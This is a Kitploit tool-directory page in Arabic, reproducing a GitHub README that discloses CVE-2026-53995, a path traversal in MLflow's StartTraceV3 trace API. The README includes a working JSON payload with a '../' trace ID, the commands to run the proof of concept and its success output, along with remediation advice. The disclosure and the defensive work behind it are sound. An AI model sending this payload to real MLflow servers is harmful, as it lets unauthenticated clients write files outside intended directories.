Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-53995-mlflow-path-traversal — MLflow <=3.17.1 يسمح اجتياز المسار بكتابة ملفات التتبع خارج الدليل المقصود. | Kitploit
أدوات/GitHubGitHub/saiteja-erukude/cve-2026-53995-mlflow-path-traversal
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالأوراق والأبحاث
GitHubsaiteja-erukude/cve-2026-53995-mlflow-path-traversal

CVE-2026-53995-mlflow-path-traversal

MLflow <=3.17.1 يسمح اجتياز المسار بكتابة ملفات التتبع خارج الدليل المقصود.

عرض المستودع
1منذ 28 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 مجموعة أدوات OSINT المثالية: رسم بياني للتحقيق، وتقييم الثقة، وعائلات الأسماء المستعارة، وخريطة، وخط زمني، وتقارير. 49 وحدة، وأكثر من 400 موقع، دون الحاجة إلى مفاتيح API.

    960
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # تطبيق GhostLock للتنفيذ بنقرة واحدة (CVE-2026-43499)

    554
  • 3

    redforge

    cybersecurity91/redforge

    مجموعة أدوات الفريق الأحمر في المتصفح مع 102 أداة دون اتصال للاستطلاع، وتوليد الحمولات، وهجمات بيانات الاعتماد، والتشفير، والترميز، وإعداد تقارير المهام.

    349
  • 4

    looking-glass

    anonghosty/looking-glass

    منصة CSIRT تستقبل تقارير Shadowserver في MongoDB وتعيد عرضها كخرائط تفاعلية وتحليلات ونتائج وإرشادات ولوحات معلومات تنفيذية.

    343
  • 5

    ARTEX

    baarai/artex

    منصة اختبار اختراق مستقلة متعددة الوكلاء تعتمد على LLM، مع وكلاء تخطيط وتنفيذ، ومخططات للأصول والاستكشاف، وتسجيل حركة مرور MITM، وإعادة اختبار الثغرات.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    نظام العمل للأمن السيبراني الأصلي بالذكاء الاصطناعي — حيث تتحول النية إلى تنفيذ محكوم، وتصبح الأدلة ذاكرة تشغيلية، وكل عملية تحسن التي تليها.

    295

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-53995: اجتياز المسار في MLflow <= 3.17.1 عبر StartTraceV3

الخطورة: عالية، CVSS 3.1 8.2

المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

المتأثر: إصدارات MLflow <= 3.17.1 عند استخدام خلفية التتبع FileStore

المكوّن: واجهة MLflow Tracing API، StartTraceV3 / FileStore.start_trace()

CWE: CWE-22 (التقييد غير السليم لاسم المسار إلى دليل محظور)، CWE-23 (اجتياز المسار النسبي)، CWE-73 (التحكم الخارجي في اسم الملف أو المسار)

تم اكتشافه والإبلاغ عنه بواسطة: Sai Teja Erukude


الملخص

يقبل MLflow قيمة trace_info.trace_id التي يتحكم بها العميل عبر واجهة التتبع StartTraceV3. عندما تكون خلفية التتبع هي FileStore، يُستخدم هذا المعرّف في بناء مسار نظام الملفات دون رفض مقاطع الاجتياز مثل ../.

يمكن للمهاجم إرسال معرّف تتبع مثل ../../../escaped-trace-dir للخروج من دليل تتبع التجربة المقصود. بعد ذلك ينشئ MLflow ملفات متعلقة بالتتبع في الدليل الناتج خارج شجرة تخزين التتبع.

التأثير

عندما تكون نقطة نهاية التتبع مكشوفة دون مصادقة أو قيود على الوصول، يمكن لعميل غير مصادَق عليه التأثير على موقع نظام الملفات الخاص بملفات التتبع التي يتحكم بها MLflow على خادم مدعوم بـ FileStore، وذلك رهناً بأذونات نظام الملفات لعملية الخادم. يستخدم إثبات المفهوم (PoC) المرفق عميل الاختبار المحلي الخاص بـ Flask؛ ولا يختبر التعرّض الشبكي لنشر ما أو إعدادات المصادقة الخاصة به.

يوضح إثبات المفهوم عمليات كتابة خارج دليل تتبع التجربة المقصود:

  • trace_info.yaml، الذي يحتوي على معلومات التتبع المقدَّمة من العميل.
  • request_metadata/poc_metadata، الذي يحتوي على بيانات وصفية يتحكم بها المهاجم.
  • tags/poc_tag، الذي يحتوي على قيمة وسم يتحكم بها المهاجم.

يؤثر هذا على السلامة من خلال السماح لبيانات الطلب بالتحكم في المكان الذي تُكتب فيه الملفات المتعلقة بالتتبع. كما قد تتسبب الأدلة والملفات غير المتوقعة خارج شجرة تخزين التتبع في تأثير محدود على التوافر. تستخدم عملية الكتابة الموضحة تنسيقات ملفات التتبع وأسماء الملفات الخاصة بـ MLflow؛ ولا تثبت محتويات ملفات عشوائية، أو تنفيذ تعليمات برمجية، أو تأثير على السرية.

يُسنِد التقرير مقاييس CVSS 3.1 التالية:

المقياسالقيمة
متجه الهجوم (AV)الشبكة (N)
تعقيد الهجوم (AC)منخفض (L)
الامتيازات المطلوبة (PR)لا شيء (N)
تفاعل المستخدم (UI)لا شيء (N)
النطاق (S)غير متغير (U)
السرية (C)لا شيء (N)
السلامة (I)عالية (H)
التوافر (A)منخفض (L)

التفاصيل التقنية

مسار الطلب القابل للاستغلال هو:

POST /api/3.0/mlflow/traces
  -> _start_trace_v3()
  -> TraceInfo.from_proto(...)
  -> FileStore.start_trace(trace_info)
  -> filesystem path construction using trace_info.trace_id
  -> directory creation and trace information, metadata, and tag writes

يوفّر الطلب المعرّف داخل trace.trace_info:

{
  "trace": {
    "trace_info": {
      "trace_id": "../../../escaped-trace-dir",
      "trace_location": {
        "type": "MLFLOW_EXPERIMENT",
        "mlflow_experiment": {
          "experiment_id": "0"
        }
      },
      "trace_metadata": {
        "poc_metadata": "attacker-controlled metadata"
      },
      "tags": {
        "poc_tag": "attacker-controlled tag"
      }
    }
  }
}

يعرض هذا المقتطف الحقول ذات الصلة بالتنقل. يبني المشغّل الطلب الكامل، بما في ذلك حالة التتبع والطابع الزمني وحقول المعاينة.

يُنتج المعرّف الذي يتحكم فيه العميل دقة المسار التالية نسبةً إلى دليل PoC:

Expected trace storage: mlruns/0/traces/
Supplied trace ID:      ../../../escaped-trace-dir
Joined trace path:     mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path:   escaped-trace-dir/

تُعيد الاستجابة المحفوظة HTTP 200 وتحافظ على معرّف التتبع الخبيث. تقع الملفات الناتجة بجوار mlruns/، خارج دليل تتبع التجربة المقصود.

إثبات المفهوم

يبني run_poc.py طلب StartTraceV3 خبيثًا، ويهيّئ مخزن ملفات محليًا (FileStore)، ويستدعي مسار MLflow HTTP الحقيقي عبر عميل اختبار Flask، ويسجّل الاستجابة والأدلة على نظام الملفات. وهو يمارس المسار دون بدء خادم شبكة يستمع.

python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py

لطباعة النتيجة القابلة للقراءة آليًا:

python -B run_poc.py --json

يحتوي الدليل المحفوظ على هذه النتائج، مختصرة هنا:

{
  "package": {
    "distribution": "mlflow",
    "version": "3.17.1"
  },
  "endpoint": "/api/3.0/mlflow/traces",
  "status_code": 200,
  "malicious_trace_id": "../../../escaped-trace-dir",
  "checks": {
    "http_success": true,
    "trace_info_written_outside_traces_dir": true,
    "trace_metadata_file_written": true,
    "tag_file_written": true
  },
  "success": true
}

يقوم المشغّل بحفظ:

  • evidence/start-trace-request.json: جسم الطلب الكامل.
  • evidence/start-trace-response.json: استجابة الخادم.
  • evidence/escaped-trace-info.yaml: نسخة من معلومات التتبع المكتوبة خارج دليل التتبع.
  • evidence/summary.json: إصدار الحزمة، والمسارات المُحلَّلة، ورمز الحالة، ونتائج التحقق.

تعني success: true ورمز الخروج 0 أن اجتياز المسار قد أُعيد إنتاجه. يُرجع الفحص الفاشل رمز الخروج 1؛ وهذا وحده لا يثبت أن إصدارًا ما قد تم إصلاحه.

تكتب الحمولة بيانات تتبع توضيحية تحت escaped-trace-dir/ داخل دليل PoC. كما يكتب المشغّل mlruns/ وevidence/؛ وإعادة تشغيله تستبدل الأدلة المحفوظة. استخدم نسخة جديدة عند جمع نتائج جديدة، لأن المشغّل يتحقق من وجود ملفات قد تكون موجودة بالفعل من تشغيل سابق. تحدد المسارات المطلقة في الأدلة المحفوظة بيئة إعادة الإنتاج الأصلية وستختلف في نسخة جديدة.

يتضمن فيديو عرض توضيحي محلي.

المعالجة

تحقق من معرّفات التتبع عند حدود FileStore قبل إنشاء المسارات أو إنشاء الأدلة:

  • طبّق قائمة سماح صارمة لمعرّفات التتبع المستخدمة كمكوّنات مسار في نظام الملفات.
  • ارفض فواصل المسارات، ومقاطع الاجتياز، والمسارات المطلقة، ومسارات أقراص Windows، بغض النظر عن منصة الخادم.
  • حلّل دليل تتبع التجربة وتحقق من بقائه داخل دليل التجربة.
  • حلّل دليل التتبع النهائي وتحقق من بقائه داخل دليل تتبع التجربة، بما في ذلك عند وجود روابط نظام ملفات قائمة.
  • أعد استخدام نفس فحوصات التحقق والاحتواء لعمليات البحث والكتابة ومسار المخرجات والحذف ذات الصلة في FileStore.

فرض هذه الفحوصات قبل أي تأثيرات جانبية على نظام الملفات. يجب أن تُطلق المعرّفات غير الصالحة INVALID_PARAMETER_VALUE، مع إرجاع مسار HTTP رمز 400. يجب أن تستمر معرّفات التتبع الصالحة في العمل. أبقِ القيود الخاصة بنظام الملفات في خلفية FileStore حتى تتمكن الخلفيات الأخرى من الاحتفاظ بتنسيقات المعرّفات المدعومة لديها.

إلى أن يتم نشر تصحيح مُختبَر، قيّد الوصول إلى نقطة نهاية إنشاء التتبع أو انقل تتبع التتبع إلى خلفية SQL مُهيأة بعد التحقق من التوافق.

راجع fix.md للاطلاع على التصحيح المقترح واعتبارات التوافق وفحوصات الانحدار. تأتي توصيات البحث والحذف من مراجعة الشيفرة المصدرية؛ ويوضح PoC المرفق مسار الإنشاء StartTraceV3.

الفضل

اكتشفه وأبلغ عنه Sai Teja Erukude.

تم تنسيق الإفصاح عبر VulnCheck.

المراجع

تنزيل الأداة